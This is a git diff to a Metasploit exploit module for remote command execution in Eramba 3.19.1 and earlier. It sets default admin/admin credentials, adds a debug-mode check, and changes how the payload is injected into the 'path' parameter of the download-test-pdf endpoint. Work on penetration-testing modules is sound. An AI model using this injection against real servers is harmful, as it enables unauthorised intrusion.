diff --git a/documentation/modules/exploit/linux/http/eramba_rce.md b/documentation/modules/exploit/linux/http/eramba_rce.md index cfda582513..7cbd32e833 100644 --- a/documentation/modules/exploit/linux/http/eramba_rce.md +++ b/documentation/modules/exploit/linux/http/eramba_rce.md @@ -111,8 +111,13 @@ volumes: ## Options -- **USERNAME**: valid username for Eramba application (default: admin) -- **PASSWORD**: valid password for Eramba application (default: admin) +### USERNAME + +A valid username for Eramba application + +### PASSWORD + +A valid password for Eramba application ## Scenarios diff --git a/modules/exploits/linux/http/eramba_rce.rb b/modules/exploits/linux/http/eramba_rce.rb index e5cd9a1297..ee3d8cac08 100644 --- a/modules/exploits/linux/http/eramba_rce.rb +++ b/modules/exploits/linux/http/eramba_rce.rb @@ -65,8 +65,8 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, 'The base path to Eramba', '/']), - OptString.new('USERNAME', [ true, 'The username to authenticate with']), - OptString.new('PASSWORD', [ true, 'The password to authenticate with']), + OptString.new('USERNAME', [ true, 'The username to authenticate with', 'admin']), + OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin']), ] ) end @@ -83,11 +83,13 @@ class MetasploitModule < Msf::Exploit::Remote version_html = html_body.at('//p[contains(text(), "App version")]/strong')&.text return Exploit::CheckCode::Unknown unless version_html + return Exploit::CheckCode::Safe('Debug mode not enabled.') unless html_body.at('input[@name="_Token[debug]"]') + version = Rex::Version.new(version_html) - return Exploit::CheckCode::Appears if version <= Rex::Version.new('3.19.1') + return Exploit::CheckCode::Appears("Eramba Version #{version} is affected.") if version <= Rex::Version.new('3.19.1') - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Safe("Eramba Version #{version} is not affected.") end def exploit @@ -126,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri('/settings/download-test-pdf'), 'vars_get' => { - 'path' => "#{payload.encoded};" + 'path' => payload.encoded.to_s } }) end